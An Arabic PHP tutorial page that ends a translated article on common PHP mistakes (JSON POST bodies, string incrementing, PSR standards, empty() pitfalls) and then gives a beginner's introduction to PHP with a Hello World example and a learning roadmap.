لن تحتوي المصفوفة ‎$_POST على بيانات POST الخاصة بك دائمًا على عكس ما يدل عليه اسمها، إذ يمكن أن تكون فارغة. لنفترض مثلًا أننا أنشأنا طلب خادم باستخدام استدعاء التابع jQuery.ajax()‎ كما يلي:

// js
$.ajax({
    url: 'http://my.site/some/path',
    method: 'post',
    data: JSON.stringify({a: 'a', b: 'b'}),
    contentType: 'application/json'
});

لاحظ نوع المحتوى contentType: 'application/json'‎ هنا، حيث نرسل البيانات بتنسيق JSON، وهو أمر شائع جدًا لواجهات برمجة التطبيقات، وهو الإعداد الافتراضي للنشر في خدمة AngularJS التي هي ‎$http مثلًا.

نفرّغ معلومات محتوى المصفوفة ‎$_POST من طرف الخادم في مثالنا كما يلي:

// php
var_dump($_POST);

والمفاجأة أن النتيجة ستكون كما يلي:

array(0) { }

لم تظهر سلسلة JSON النصية الخاصة بنا ‎{a: 'a', b: 'b'}‎، حيث تحلّل لغة PHP حِمل طلب POST تلقائيًا عندما يكون نوع المحتوى application/x-www-form-urlencoded أو multipart/form-data فقط، إذ كان هذان النوعان من المحتوى هما النوعان الوحيدان المُستخدَمان منذ سنوات عند تنفيذ المصفوفة ‎$_POST الخاصة بلغة PHP، لذا لا تحمّل لغة PHP حِمل طلب POST تلقائيًا مع أيّ نوع محتوى آخر حتى الأنواع التي تحظى بشعبية كبيرة اليوم مثل application/json.

تُعَد المصفوفة ‎$_POST ذات نطاق عام عالي Superglobal، لذا إذا عدّلناها مرة واحدة (ويُفضَّل أن يكون ذلك في وقت مبكر من السكربت)، فستكون القيمة المُعدَّلة (بما في ذلك حِمل طلب POST) قابلةً للإشارة إليها من شيفرتنا البرمجية. يُعَد ذلك أمرًا مهمًا، لأن أطر عمل PHP وجميع السكربتات المخصَّصة تقريبًا تستخدم المصفوفة ‎$_POST استخدامًا شائعًا لاستخراج بيانات الطلب وتحويلها.

نحتاج إلى تحليل محتويات الطلب يدويًا (أي فك تشفير بيانات JSON) وتعديل المتغير ‎$_POST عند معالجة حِمل طلب POST مع نوع المحتوى application/json مثلًا كما يلي:

// php
$_POST = json_decode(file_get_contents('php://input'), true);

إذا فرّغنا معلومات محتوى المصفوفة ‎$_POST بعد ذلك، فسنرى أنها تتضمّن حِمل طلب POST الصحيح كما في المثال التالي:

array(2) { ["a"]=> string(1) "a" ["b"]=> string(1) "b" }

الخطأ الشائع 8: الاعتقاد بأن لغة PHP تدعم نوع بيانات المحارف Character

اطّلع على الشيفرة البرمجية التالية وحاول تخمين ما سينتج:

for ($c = 'a'; $c <= 'z'; $c++) {
    echo $c . "\n";
}

إذا أجبت أنها ستطبع المحارف من 'a' إلى 'z'، فقد تتفاجأ عندما تعرف أنك مخطئ، حيث أنها ستطبع المحارف من 'a' إلى 'z'، ولكنها ستطبع أيضًا 'aa' إلى 'yz'، إذ لا يوجد نوع البيانات char في لغة PHP، بينما يوجد نوع بيانات السلاسل النصية string فقط، وبالتالي سينتج عن زيادة السلسلة النصية z بمقدار واحد في لغة PHP السلسلة النصية aa:

php> $c = 'z'; echo ++$c . "\n";
aa

ولكن تُعَد السلسلة النصية aa أصغر من z من معجميًا:

php> var_export((boolean)('aa' < 'z')) . "\n";
true

لذلك تطبع الشيفرة البرمجية الحروف من a إلى z، ولكنها تطبع أيضًا بعد ذلك من aa إلى yz، وتتوقف عندما تصل إلى za، وهي القيمة الأولى الأكبر من z التي تصادفها:

php> var_export((boolean)('za' < 'z')) . "\n";
false

لذا استخدم الطريقة التالية للمرور ضمن حلقة على القيم من 'a' إلى 'z' في لغة PHP بصورة صحيحة:

for ($i = ord('a'); $i <= ord('z'); $i++) {
    echo chr($i) . "\n";
}

أو استخدم الطريقة التالية:

$letters = range('a', 'z');

for ($i = 0; $i < count($letters); $i++) {
    echo $letters[$i] . "\n";
}

الخطأ 9: تجاهل قواعد ومعايير كتابة الشيفرة البرمجية

لا يؤدي تجاهل قواعد كتابة الشيفرة البرمجية مباشرةً إلى الحاجة إلى تنقيح أخطاء شيفرة PHP، ولكنه لا يزال أحد أهم الأشياء التي يجب مناقشتها، إذ قد يؤدي تجاهل هذه المعايير إلى حدوث عدد كبير من المشكلات في المشروع مثل الحصول على شيفرة برمجية غير متناسقة في أحسن الأحوال لأن كل مطور ينجز عمله بطريقته الخاصة، أو الحصول على شيفرة PHP لا تعمل أو من الصعب -أو من المستحيل في بعض الأحيان- التنقل ضمنها، مما يصعّب تنقيح أخطائها وتحسينها وصيانتها في أسوأ الأحوال. يؤدي ذلك إلى تخفيض إنتاجية فريقك بما في ذلك الكثير من الجهد الضائع أو غير الضروري.

توجد توصية لمعايير PHP أو PHP Standards Recommendation -أو PSR اختصارًا، والتي تتألف من المعايير الخمسة التالية:

• PSR-0: معيار التحميل التلقائي.
• PSR-1: معيار كتابة الشيفرة البرمجية الأساسي.
• PSR-2: دليل تنسيق كتابة الشيفرة البرمجية.
• PSR-3: واجهة المسجِّل.
• PSR-4: المحمِّل التلقائي.

لقد أُنشِئت معايير PSR بناءً على مدخلات من المشرفين على المنصات الأشهر في السوق لتوفر إرشادات وممارسات موحدة لتنظيم كتابة الأكواد في PHP. وقد وُضعت هذه المعايير من قبل مجموعة من المطورين والمشرفين على أبرز المنصات وأطر العمل الشهيرة مثل Zend و Drupal و Symfony و Joomla وغيرها في هذه المعايير، وتتبع هذه المنصات تلك المعايير، ويشارك الآن إطار عمل PEAR الذي حاول أن يكون معيارًا لسنوات قبل ذلك في وضع معايير PSR.

لا يهم تقريبًا ما هو معيار كتابة الشيفرة البرمجية الخاص بك طالما أنك توافق على المعيار وتلتزم به، ولكن يُعَد اتباع معايير PSR فكرة جيدة إن لم يكن لديك سبب مقنع في مشروعك يخالفها، إذ أصبحت هناك العديد من الفرق والمشاريع التي تتوافق مع معايير PSR التي يُعِدّها أغلب مطوري PHP بوصفها المعيار الحالي، لذا سيساعد استخدامها في ضمان معرفة المطورين الجدد بمعيار كتابة الشيفرة البرمجية الخاص بك وسيشعرون بالارتياح عند انضمامهم إلى فريقك.

الخطأ 10: استخدام الدالة empty()‎ استخدامًا خاطئًا

يفضِّل بعض مطوري PHP استخدام الدالة empty()‎ لإجراء عمليات فحص منطقية لكل شيء تقريبًا، ولكن توجد حالات يمكن أن يؤدي فيها ذلك إلى الارتباك.

أولًا، إذا عُدنا إلى المصفوفات ونُسخ كائن المصفوفة ArrayObject (الذي يحاكي المصفوفات)، فمن السهل افتراض أن المصفوفات ونسخ الكائن ArrayObject ستتصرف بطريقة مماثلة بسبب تشابههما، ولكنه افتراض خطير كما هو موضّح فيما يلي في الإصدار PHP 5.0:

// ‫PHP 5.0 أو بعد‫:
$array = [];
var_dump(empty($array));        // ‫خرجها bool(true)‎ 
$array = new ArrayObject();
var_dump(empty($array));        // ‫خرجها bool(false)‎
// لماذا لا ينتج كلاهما الخرج نفسه؟

وستكون النتائج مختلفة في الإصدارات التي قبل الإصدار PHP 5.0:

//  الإصدارات التي قبل الإصدار‫ PHP 5.0:
$array = [];
var_dump(empty($array));        // ‫خرجها bool(false)‎ 
$array = new ArrayObject();
var_dump(empty($array));        // ‫خرجها bool(false)‎

تحظى هذه الطريقة بشعبية كبيرة لسوء الحظ، فمثلًا هذه هي الطريقة التي يعيد بها كائن Zend\Db\TableGateway في إطار عمل Zend Framework 2 البيانات عند استدعاء الدالة current()‎ مع نتيجة الدالة TableGateway::select()‎، ويمكن للمطور أن يصبح بسهولة ضحيةً لهذا الخطأ مع مثل هذه البيانات.

يمكن تجنب هذه المشكلات من خلال التحقق من وجود بنى مصفوفات فارغة باستخدام الدالة count()‎ كما يلي:

// ‫لاحظ أن ما يلي يعمل في جميع إصدارات PHP (سواء قبل أو بعد الإصدار 5.0):
$array = [];
var_dump(count($array));        // ‫خرجها int(0)‎
$array = new ArrayObject();
var_dump(count($array));        // ‫خرجها int(0)‎

تحوّل لغة PHP القيمة 0 إلى false، فيمكن أيضًا استخدام الدالة count()‎ ضمن شروط تعليمة if للتحقق من المصفوفات الفارغة. تجدر الإشارة أيضًا إلى أن الدالة ‎count()‎‎ في PHP لها تعقيد ثابت Constant Complexity (أو O(1)‎) على المصفوفات، مما يوضّح أنه الاختيار الصحيح.

يوجد مثال آخر لذلك عندما تمثّل الدالة empty()‎ خطرًا من خلال دمجها مع دالة الأصناف السحرية ‎__get()‎. لنعرّف مثلًا صنفين Class مع وجود الخاصية test في كليهما، حيث نعرّف أولًا الصنف Regular الذي يتضمن الخاصية العادية test كما يلي:

class Regular
{
    public $test = 'value';
}

نعرّف بعد ذلك الصنف Magic الذي يستخدم التابع السحري ‎__get()‎ للوصول إلى الخاصية test الخاصة به كما يلي:

class Magic
{
    private $values = ['test' => 'value'];

    public function __get($key)
    {
        if (isset($this->values[$key])) {
            return $this->values[$key];
        }
    }
}

لنرى الآن ما سيحدث عندما نحاول الوصول إلى الخاصية test لكل صنف كما يلي:

$regular = new Regular();
var_dump($regular->test);    // ‫خرجها string(4) "value"‎
$magic = new Magic();
var_dump($magic->test);      // ‫خرجها string(4) "value"‎

يبدو كل شيء على ما يرام حتى الآن، ولكن لنرى الآن ما يحدث عندما نستدعي الدالة empty()‎ مع كل منهما كما يلي:

var_dump(empty($regular->test));    // ‫خرجها bool(false)‎
var_dump(empty($magic->test));      // خرجها‫ bool(true)‎

إذا اعتمدنا على الدالة empty()‎، فيمكن تضليلنا للاعتقاد بأن الخاصية test الخاصة بالصنف ‎$magic فارغة، بينما هي مضبوطة على القيمة 'value'.

لسوء الحظ، إذا استخدم الصنفُ التابع السحري ‎__get()‎ لاسترداد قيمة خاصيةٍ ما، فلا توجد طريقة مضمونة للتحقق مما إذا كانت قيمة الخاصية فارغة أم لا. يمكنك خارج نطاق الصنف التحقق فقط من إعادة القيمة null، وهذا لا يعني بالضرورة عدم ضبط المفتاح المقابل، لأنه كان من الممكن ضبطه على القيمة null.

إذا حاولنا الإشارة إلى خاصية غير موجودة لنسخة من الصنف Regular، فستظهر ملاحظة مشابهة لما يلي:

Notice: Undefined property: Regular::$nonExistantTest in /path/to/test.php on line 10

Call Stack:
    0.0012     234704   1. {main}() /path/to/test.php:0

لاحظ أنه يجب استخدام التابع empty()‎ بحذر لأنه قد يؤدي إلى نتائج مربكة ومضللة.

الخلاصة

يمكن أن تؤدي سهولة استخدام لغة PHP إلى جعل المطورين يشعرون بالراحة الزائدة في التعامل معها، مما قد يؤدي إلى تجاهل بعض الأخطاء الدقيقة التي تحتاج إلى تنقيح ومعالجة وعدم مراعاة بعض الفروق الدقيقة والخصوصيات في اللغة، ويمكن أن يؤدي ذلك إلى عدم عمل شيفرة PHP بنجاح وظهور إحدى المشكلات التي تعرضنا لها في هذا المقال.

لقد تطورت لغة PHP تطورًا ملحوظًا على مدار تاريخها الطويل وشهدت تحسينات ومميزات عديدة، لذا يُعَد التعرف على تفاصيلها الدقيقة أمرًا جديرًا بالاهتمام، لأنها ستساعد على ضمان أن البرنامج الذي تنتجه أكثر قابلية للتوسع والقوة والصيانة.

ترجمة -وبتصرُّف- للمقال Buggy PHP Code: The 10 Most Common Mistakes PHP Developers Make لصاحبه Ilya Sanosian.

اقرأ أيضًا

• تعرف على لغة PHP
• تعلم لغة PHP
• اصطلاحات ومواضيع متفرقة مهمة لكل مبرمج PHP
• التعامل مع الأخطاء في PHP
• الأخطاء العشرة الأكثر شيوعًا في شيفرة بايثون Python البرمجية

في مقال اليوم سوف نكتشف معًا لغة PHP بدءًا من التعرف على ماهية لغة PHP وطريقة عملها وأبرز مميزاتها وخطوات تعلمها وصولًا لكتابة البرنامج الأول باستخدامها. فسواء كانت لديك خبرة مسبقة في إحدى لغات البرمجة أو كنت مبتدئًا وتتعلم البرمجة للتو فإن هذا الدليل بمثابة نقطة انطلاق رئيسية في رحلة تعلم لغة PHP.

ما هي لغة PHP؟

لغة PHP هي لغة برمجة قوية مفتوحة المصدر طورها المبرمج الدنماركي راسموس ليردورف عام 1994 ويأتي اسمها من اختصار عبارة PHP: Hypertext Preprocessor وهي لغة برمجة تعمل من طرف الخادم Server-side وهذا يعني أن كل الشيفرات البرمجية المكتوبة بهذه اللغة لن تنفذ على جهاز الحاسوب المحلي الخاص بالمستخدم والذي يسمى العميل Client بل تنفذ على جهاز حاسوب بعيد يسمى الخادم Server يخزن صفحات موقع الويب المكتوبة بلغة PHP ويرسلها للمستخدم عند الطلب.

تطورت لغة PHP بشكل كبير منذ إطلاقها لأول مرة وهي تتحسن باستمرار وتضاف لها الكثير من الميزات مع كل إصدار، -أحدث إصدار PHP لحظة كتابة هذا المقال هو PHP is 8.2 الصادر في مايو 2023- وهي اليوم واحدة من أشهر لغات البرمجة المستخدمة في تطوير مواقع وتطبيقات الويب الديناميكية فما يزيد عن 77% من مواقع الإنترنت بحسب W3tech تستخدم لغة PHP، وتستخدمها شركات كبرى في تطوير مواقعها مثل شبكة التواصل الاجتماعي الشهيرة فيسبوك وويكيبيديا وجامعة هارفارد مما يدل على مدى قوتها ويعزز مصداقيتها.

مصطلحات أساسية تحتاجها قبل تعلم PHP

تستخدم لغة PHP بشكل أساسي في تطوير مواقع وتطبيقات الويب، لذا قد تصادفك خلال رحلة تعلمها مجموعة من المصطلحات الأساسية التي تحتاج لفهمها كمبتدئ قبل الغوص في تفاصيل اللغة، وإليك شرحًا مختصرًا لأهم هذه المصطلحات:

موقع الويب Website: هو عبارة عن مجموعة من الصفحات الإلكترونية المرتبطة مع بعضها البعض والتي تتضمن محتوى مختلف كالنصوص والروابط والصور وغيرها. ويتكون أي موقع إلكتروني من واجهة أمامية تشمل كل ما تراه على الموقع وتتفاعل معه من صور ونصوص وأزرار وواجهة خلفية مخفية تكون مسؤولة عن تخزين بيانات الموقع واستردادها وعرضها وهي التي تجعل الموقع يعمل بشكل صحيح، يمكن استخدام عدة لغات في برمجة مواقع الويب، وبعد الانتهاء من برمجته تخزن كافة ملفاته على استضافة أو بمعنى أدق على خوادم الويب التي توفرها الاستضافة وبهذا يمكن الوصول إليه من قبل المستخدمين وعرضه باستخدام متصفحات الإنترنت.

المتصفح Browser: هو برنامج أو تطبيق مثبت على جهاز المستخدم (العميل) يستخدم لتصفح الإنترنت وعرض صفحات الويب، فهو المسؤول عن إرسال طلب عرض صفحات الويب إلى الخادم من خلال كتابة عنوان URL للصفحة المطلوبة في شريط مخصص ضمن التطبيق، ومن أبرز الأمثلة على متصفح إنترنت نذكر: جوجل كروم وفايرفوكس ومايكروسوفت إيدج.

خادم الويب Server: هو عبارة عن جهاز حاسوب بمواصفات خاصة يخزن محتوى مواقع الويب ويكون مسؤولًا عن تشغيلها وعرضها عند الطلب، توجد أنواع عديدة من خوادم الويب مثل خادم Apache و Nginx وخادم IIS من مايكروسوفت.

بروتوكولات الإنترنت Internet protocols: هي آلية تسمح بنقل البيانات عبر الإنترنت وأشهرها بروتوكول HTTP المستخدم لتبادل البيانات بين المتصفح والخادم والذي يعتبر بمثابة لغة يستخدمها المتصفح والخادم للتواصل مع بعضهما لعرض صفحات الويب عبر الإنترنت، وبروتوكول HTTPS الآمن الذي يشفر البيانات قبل نقلها.

كانت هذه أهم المصطلحات التي تحتاج لمعرفتها قبل البدء بتعلم أساسيات لغة PHP، ولمزيد من التفاصيل حول آلية عمل الويب أنصح بمطالعة مقال الفرق بين صفحة الويب وموقع الويب وخادم الويب ومحرك البحث ومقال آلية عمل شبكة الانترنت.

دورة تطوير تطبيقات الويب باستخدام لغة PHP

احترف تطوير النظم الخلفية وتطبيقات الويب من الألف إلى الياء دون الحاجة لخبرة برمجية مسبقة

اشترك الآن

كيفية عمل لغة PHP

PHP هي لغة برمجة تعمل من طرف الخادم كما ذكرنا مسبقًا، لذا تحتاج لفهم آلية عمل الخادم نفسه كي تفهم طريقة عرض صفحات الويب المكتوبة بلغة PHP، بداية يجب أن يملك الخادم تطبيقًا خاصًا قادرًا على فهم ومعالجة أكواد PHP يسمى هذا التطبيق PHP interpreter، أما من طرف العميل فيجب توفر متصفح ويب واتصال بالإنترنت.

عندما يطلب العميل صفحة PHP معينة من خلال المتصفح يستلم الخادم هذا الطلب ويتحقق من توفر الصفحة المطلوبة ويبدأ بمعالجتها، وقد يحتاج للاستعلام من قواعد بيانات الموقع لجلب البيانات المطلوب عرضها في الصفحة ثم يقوم بإعادة إخراج البيانات المطلوبة على شكل صفحة ويب بتنسيق HTML ويرسلها للمتصفح الذي يفهمها ويعرض النتيجة النهائية على جهاز العميل.

كما تلاحظ من الصورة أعلاه تتم معالجة طلب العميل بالطريقة التالية:

1. يرسل العميل طلبًا إلى الخادم لعرض صفحة ويب PHP.
2. يعالج الخادم طلب العميل ويبحث عن الصفحة المطلوبة.
3. يبدأ الخادم بمعالجة الصفحة وتنفيذ أكوادها.
4. يجلب الخادم المحتوى المطلوب من قاعدة البيانات ويعرضه في الصفحة من قاعدة البيانات.
5. يعيد الخادم نتيجة المعالجة النهائية بصيغة HTML إلى العميل.
6. تظهر الصفحة النهائية على متصفح العميل.

ما استخدامات PHP؟

قد تتساءل ما الذي يمكنني عمله عند تعلم لغة PHP؟ في الواقع يمكن من خلال تعلم لغة PHP إنجاز العديد من المهام ومن بينها:

• تطوير مختلف أنواع المواقع وتطبيقات الويب الديناميكية بدءًا من المدونات البسيطة وصولًا للمتاجر الإلكترونية الضخمة.
• أتمتة المهام المتكررة مثل تحميل بيانات من الإنترنت أو تنفيذ كود معين دوريًا كأخذ نسخة احتياطية من البيانات أو غيرها من المهام.
• إدارة الخوادم ومعالجة الملفات المخزنة عليها.
• التحقق من صحة بيانات نماذج الويب forms ومعالجتها وتخزينها.
• إدارة البيانات المخزنة في قاعدة بيانات الموقع.
• تشفير البيانات وحمايتها أثناء النقل أو التخزين من وإلى الخادم.
• تطوير مواقع متعددة المستخدمين وضبط صلاحيات وصول كل مستخدم لمتحوى محدد من الموقع.
• إرسال رسائل البريد الإلكتروني بسهولة بفضل ما توفره من مكتبات خاصة بالبريد الإلكتروني.

إيجابيات وسلبيات PHP

بالرغم من شهرة وقوة لغة PHP في تطوير تطبيقات ومواقع الويب الديناميكية إلا أنها لا تخلو من بعض المعوقات شأنها شأن أي تقنية، وفي الفقرات التالية سنعرفك على أبرز إيجابيات وسلبيات لغة PHP.

إيجابيات لغة PHP

فيما يلي قائمة بأبرز المميزات والفوائد التي تتميز بها لغة PHP:

• بسيطة وسهلة التعلم للمبتدئين.
• لغة حرة ومفتوحة المصدر.
• توفر مجتمع دعم كبير جاهز لمساعدتك في حال واجهتك أي مشكلة.
• سريعة ومع كل إصدار جديد تصبح PHP أسرع من ذي قبل.
• مليئة بالميزات الرائعة التي تجعلها من اللغات القوية المنافسة للغات الأخرى مثل بايثون أو جافا، خصوصًا في الإصدارات الحديثة مثل PHP 8.
• تصلح لتطوير كافة أنواع المواقع بدءًا من المدونات البسيطة وصولًا للمتاجر الإلكترونية الضخمة.
• متوافقة مع كل خوادم الويب وأنظمة التشغيل.
• متوافقة مع جميع أنواع قواعد البيانات.
• توفر الكثير من المكتبات وأطر العمل مثل لارافيل Laravel وكود إغنيتر CodeIgniter التي تسهل عمل المطورين وتسرع عملهم.
• تستخدم في تطوير أشهر أنظمة إدارة المحتوى CMS مثل ووردبريس WordPress ودروبال Drupal.

 سلبيات لغة PHP

فيما يلي قائمة ببعض الجوانب السلبية التي تؤخذ على لغة PHP:

• لغة PHP لغة مخصصة بتطوير الواجهات الخلفية لمواقع الويب، وصحيح أنك تستطيع تطوير تطبيقات عامة بسيطة، لكن هنالك لغات أفضل منها تسهل عليك العمل في مجالات عامة مثل تطوير تطبيقات سطح المكتب أو التعامل مع مكتبات تعلم الآلة.
• لا تناسب لغة PHP تطوير الواجهات الأمامية لمواقع الويب لذا تحتاج لتعلم لغات وتقنيات أخرى في حال رغبت في العمل كمطور ويب كامل Full-stack developer.
• بالرغم من كون لغة PHP آمنة إلا أن كونها لغة شائعة الاستخدام ومفتوحة المصدر يشجع على استغلالها قبل المخترقين الذين يستغلون أي ثغرات أمنية تؤثر على تطبيقات PHP لتنفيذ الهجمات على المواقع، لذا من المهم إبقاء مواقعك محدثة إلى آخر الإصدارات من PHP.
• تعد من اللغات ضعيفة التنميط weakly-typed بمعنى أنك قادر على تخزين رقم في متغير ما ثم تخزين نص في نفس المتغير وهذا الأمر يجعل اللغة أكثر مرونة لكنه قد يسبب أخطاء غير متوقعة في التطبيقات. أضافت الإصدارات الحديثة بدءًا من PHP 7 إمكانية تحديد أنواع المتغيرات والقيم الممررة إلى الدوال والمعادة منها، يمكن للمطورين الاستفادة من هذه الميزات لتحسين تطبيقاتهم الجديدة.

ما الفرق بين PHP و Laravel؟

الجواب باختصار هو أن PHP هي لغة برمجة أما لارافيل Laravel فهو إطار عمل framework يعتمد على لغة البرمجة PHP، بمعنى آخر تعد PHP لغة برمجة لتطوير تطبيقات الويب الديناميكة من طرف الخادم وباستخدامها ستكون مسؤولًا عن كتابة كامل الشيفرات البرمجية لتحقيق كافة وظائف الموقع مثل أكواد الاتصال مع قواعد البيانات والتحقق من هوية المستخدم وغيرها من المهام من الصفر.

أما لارافيل Laravel فهو إطار عمل مفتوح المصدر مبني باستخدام لغة PHP يسهل عليك عملية تطوير مواقع وتطبيقات الويب بشكل كبير فهو يوفر الكثير من المكونات والحزم الجاهزة التي يمكنك استخدامها لتسريع عملك بدلًا من كتابة كل شيء من الصفر، فمن خلال استخدام لارافيل لن تحتاج على سبيل المثال إلى كتابة أكواد طويلة ومفصلة للتحقق من هوية المستخدم فهو يوفر نظام مصادقة مدمج كما يوفر واجهات برمجية سهلة للاتصال بسهولة مع قواعد البيانات والتفاعل معها.

وإذا كنت مهتمًا بالاطلاع على المزيد من التفاصيل حول مفهوم أطر العمل وطريقة عملها وأهمية الاعتماد عليها في عملية التطوير أنصحك بمطالعة مقال: تعرف على مفهوم إطار العمل Framework وأهميته في البرمجة.

كتابة أول برنامج PHP

قبل أن تتمكن من كتابة كود PHP وتشغيله PHP في جهازك ستحتاج لتوفر بعض البرامج الأساسية على جهازك وهي:

1. استخدام أحد برامج تحرير النصوص لكتابة أكواد PHP، يمكنك استخدام أي محرر بسيط كالمفكرة أو أو اعتماد محرر أكواد مخصص مثل فيجوال ستوديو كود VSCode أو ++Notepad أو أي محرر مناسب يساعدك على كتابة الشيفرات البرمجية للغة PHP بسرعة وكفاءة.
2. تثبيت محرك للغة PHP Engine على حاسوبك لتشغيل شيفرات PHP.
3. تثبيت برنامج خادم مثل أباتشي Apache ليحول حاسوبك إلى خادم محلي قادر على معالجة طلبات عرض الصفحات.
4. تثبيت برنامج مخصص لإدارة قواعد البيانات باستخدام لغة مثل MySQL لإنشاء قاعدة بيانات الموقع وتخزين المعلومات بشكل دائم وعرضها عند الطلب.
5. يمكنك بدلًا من تثبيت البرامج الثلاثة الأخيرة الاعتماد على بيئة تطوير محليةمتكاملة مثل XAMPP المتوافق مع كافة أنظمة التشغيل أو WAMP المخصص لأنظمة ويندوز أو MAMP المخصص لأنظمة تشغيل ماك والتي تمكنك من تشغيل البرامج المكتوبة بلغة PHP بكل سهولة، حيث ستوفر لك بيئة التطوير البرامج مفسر للغة البرمجة PHP وخادم أباتشي محلي وقاعدة بيانات MySQL وتجمعها في حزمة واحدة، يمكنك مطالعة المزيد من التفاصيل حول تثبيت بيئة تطوير PHP على مختلف أنظمة التشغيل من خلال مقال البدء مع PHP والتعرف على أنواع البيانات فيها.

بعد الانتهاء من تحويل جهازك المحلي إلى خادم وإعداد بيئة العمل ستكون جاهزًا لكتابة أول برنامج PHP وعرض نتائج تنفيذه في المتصفح.

تكتب ملفات PHP ضمن المجلد الجذر للخادم لتمكين الوصول لها من قبل المتصفح، وهذا المجلد يختلف من تطبيق لآخر على سبيل المثال في حال تثبيت الخادم XAMPP في المسار C:\xampp ستجد المجلد في المسار C:\xampp\htdocs وفي حال كنت تستخدم WAMP سيكون اسم المجلد الجذر هو www، انتقل للمجلد الجذر لخادمك وأنشئ ضمنه مجلد بأي اسم تختاره وليكن learnphp ضمن هذا المجلد ستضع كافة ملفات PHP الخاصة بموقعك.

أنشئ ضمن هذا المجلد ملف باسم helloworld.php وحرره باستخدام محرر النصوص المفضل لديك واكتب بداخله الكود التالي:

<?php

echo "Hello World!<br>";

echo "هذا هو البرنامج الأول في تعلم لغة بي إتش بي";

كما تلاحظ في الكود أعلاه تكتب أكواد PHP عادة بين الوسمين ‎<?‎php و ‎?>‎ لكن انتبه لأن كتابة وسم إغلاق PHP الأخير ‎?>‎ في حال كان موقعه في نهاية الملف هو أمر اختياري، وينصح بحذفه لتجنب قيام محرر النصوص بإلحاق حرف خاص مخفي بعد هذا العلامة ويتسبب بعرض فراغات أو رموز غير مقصودة بعد وسم إغلاق PHP

يستدعي الكود أعلاه الدالة echo التي تطبع ببساطة النص المكتوب بعدها، ما نريده الآن هو تنفيذ الكود أعلاه وعرض نتيجة التنفيذ في المتصفح، للقيام بذلك اكتب في متصفح الانترنت localhost أو 127.0.0.1 في والذي يشير إلى عنوان جهاز الحاسوب الخاص بك يليه اسم المجلد learnphp اسم الملف helloworld.php مع الفصل بينها بشرطات مائلة كما يلي.

http://localhost/learnphp/helloworld.php
أو
http://127.0.0.1/learnphp/helloworld.php

الآن اضغط على مفتاح Enter للانتقال للعنوان المطلوب، ستظهر لك النتيجة بالشكل التالي

عادة لا تكتب أكواد PHP لوحدها بل تدمج مع أكواد HTML، وتذكر أن PHP هي لغة برمجة تنفذ من طرف الخادم تستخدم لإنشاء محتوى ديناميكي في موقع الويب، لذا يفيد دمجها مع لغة HTML في هيكلة هذا المحتوى الديناميكي وتنظيم طريقة عرضه في متصفح الويب، كما يمكن أن يساعد دمج كود PHP مع HTML في كتابة أكواد HTML ديناميكية تعرض في الصفحة بناءً على متغيرات وشروط برمجية مكتوبة بلغة PHP.

على سبيل المثال دعنا نعدل كود الملف السابق وندمج كود PHP مع كود HTML كما يلي:

<!DOCTYPE html>

<html>

<head>

    <title>PHP and HTML</title>

</head>

<body>
    <h1>

      <?php

      echo "Hello World!<br>";

      echo "هذا هو البرنامج الأول في تعلم لغة بي إتش بي";

      ?>

    </h1>

</body>

</html>

عندما تتم معالجة كود PHP أعلاه من قبل الخادم سينشئ الخادم صفحة HTML مع تضمين المحتوى الديناميكي بداخلها ويرسل HTML الذي تم إنشاؤه إلى متصفح الويب الخاص بالمستخدم لعرض النتيجة النهائية كما في الصورة التالية:

تهانينا! إذا وصلت إلى هنا وتمكنت من تنفيذ الكود السابق بنجاح ستكون قد نجحت في أول خطوة في تعلم لغة PHP ونفذت برنامجك الأول باستخدامها.

كيفية تعلم لغة برمجة PHP

قبل أن تقرر البدء بتعلم لغة برمجة PHP يجب عليك أن تمتلك معرفة أساسية بلغات الويب الأساسية HTML و CSS وجافا سكريبت JavaScript التي تعمل من طرف العميل لأن هذه اللغات كما ذكرنا مسبقًا تدمج مع أكواد PHP، بعدها يمكن أن تباشر رحلة تعلم لغة PHP من خلال اتباع الخطوات التالية:

• تعرف على طريقة تحويل حاسوبك المحلي إلى خادم وكيفية تثبيت PHP عليه وطريقة كتابة أكواد PHP وتنفيذها.
• تعلم ما هي الثوابت والمتغيرات في PHP ومتى نستخدم كل منها.
• تعرف على أنواع البيانات الأساسية في لغة PHP مثل البيانات الرقمية والنصية والمنطقية.
• تعرف على طريقة طباعة قيم المتغيرات في PHP.
• تعرف على المعاملات Operators في PHP وأنواعها المختلفة وأولوية تنفيذها.
• تعرف على بنى التحكم والحلقات التكرارية في PHP وكيف تساعدك على التحكم في سير تنفيذ الأكواد البرمجية.
• تعرف على مفهوم الدوال في PHP وما هي أهم الدوال المدمجة في PHP وكيف تكتب دوال مخصصة واستدعاءها في الكود.
• تعرف على بنى معطيات أكثر تقدمًا مثل المصفوفات والمصفوفات الترابطية وكيفية التعامل معها واستخدامها في تطبيقات عملية.
• تعلم كيفية معالجة نماذج HTML باستخدام لغة PHP والتحقق من صحة بياناتها وطريقة تخزينها في قواعد البيانات.
• تعلم طريقة التعامل مع الجلسات وملفات تعريف الارتباط في PHP.
• كيف تستخدم قواعد البيانات في PHP.
• تعلم البرمجة كائنية التوجه OOP في PHP وكيفية إنشاء الأصناف والكائنات البرمجية.
• تعرف على مفهوم إدارة الحزم والمكتبات وطريقة إدارتها باستخدام Composer.
• ابدأ بتطوير مواقع ويب بسيطة متكاملة تتضمن عدة صفحات ولوحة تحكم باستخدام PHP مع قواعد البيانات MySQL.
• تعلم طريقة مفهوم واجهة برمجة تطبيقات وكيف تنشئ واجهة REST بسيطة تمكنك من ربط تطبيقات PHP الخاصة بك بخدمات وأنظمة أخرى.
• تعلم طريقة تطوير التطبيقات باستخدام نموذج التصميم MVC وكيفية استخدام أحد أطر عمل PHP التي تتبع هذا النموذج مثل مثل لارافيل Laravel وكود إغنيتر CodeIgniter وابدأ بتطوير مواقع وتطبيقات احترافية باستخدامه.
• طور مهاراتك باستمرار وتعلم كيف تحسن الكود البرمجي وتتتبع أفضل الممارسات البرمجية لتنتج تطبيقات آمنة وعالية الجودة.

كانت هذه أهم الخطوات التي تضمن لك بأن تصبح مبرمج PHP محترف قادر على إنشاء أي نوع من التطبيقات والمواقع، كل ما عليك بعد إكمال هذه الخطوات هو البحث عن فرصة مناسبة في سوق العمل أو عرض خدماتك في مواقع العمل الحر مثل مستقل أو خمسات أو يمكنك إنشاء شركة تطوير خاصة بك والعمل على تطوير مواقع لعملاء حقيقيين في سوق العمل يعزز مهاراتك بشكل كبير.

مصادر تعلم لغة PHP

